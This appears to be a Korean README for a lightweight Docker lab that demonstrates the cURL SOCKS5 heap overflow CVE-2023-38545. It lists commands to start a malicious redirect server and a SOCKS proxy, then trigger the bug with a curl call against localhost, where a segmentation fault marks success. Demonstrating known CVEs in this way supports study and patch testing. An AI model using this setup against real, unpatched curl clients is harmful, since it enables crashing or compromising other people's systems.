
익스플로잇 데모에 필요한 모든 설정 파일이 포함된 Dockerfile
이것은 cURL CVE-2023-38545를 시연합니다. 제가 만들 수 있는 한 가장 가볍게 만들었습니다.
먼저 Docker 이미지를 빌드하세요:
docker build . -t cveimage
다음으로, 이미지 파일을 간단히 실행하여 임시 Docker 컨테이너를 생성할 수 있습니다. 이 컨테이너는 중지되면 삭제됩니다:
docker run --rm --tty --net="host" --name cvecontainer cveimage
명령어 입력이 어려우면 다른 터미널을 열고 다음을 실행하세요:
docker exec -it cvecontainer /bin/bash
이제 모든 서비스를 시작해야 합니다. 이미 실행 중인 컨테이너에 연결한 후 다음을 실행하세요:
./exploit/malicious_redirect_server.sh &
python3 /exploit/proxy.py &
이제 컨테이너 내부에서 cURL 취약점이 실행되는 모습을 확인할 수 있습니다:
curl -vvv --limit-rate 100 --location --proxy socks5h://127.0.0.1:1080 http://localhost:8000
취약점이 성공했는지 확인하려면 curl 명령어를 실행한 시스템에서 세그멘테이션 오류(segmentation fault)가 발생해야 합니다. 오류가 보이지 않는다면 취약점이 발생하지 않았거나, 프로세스에 힙 공간이 너무 많아 접근할 수 없는 메모리를 덮어쓰지 못한 것입니다.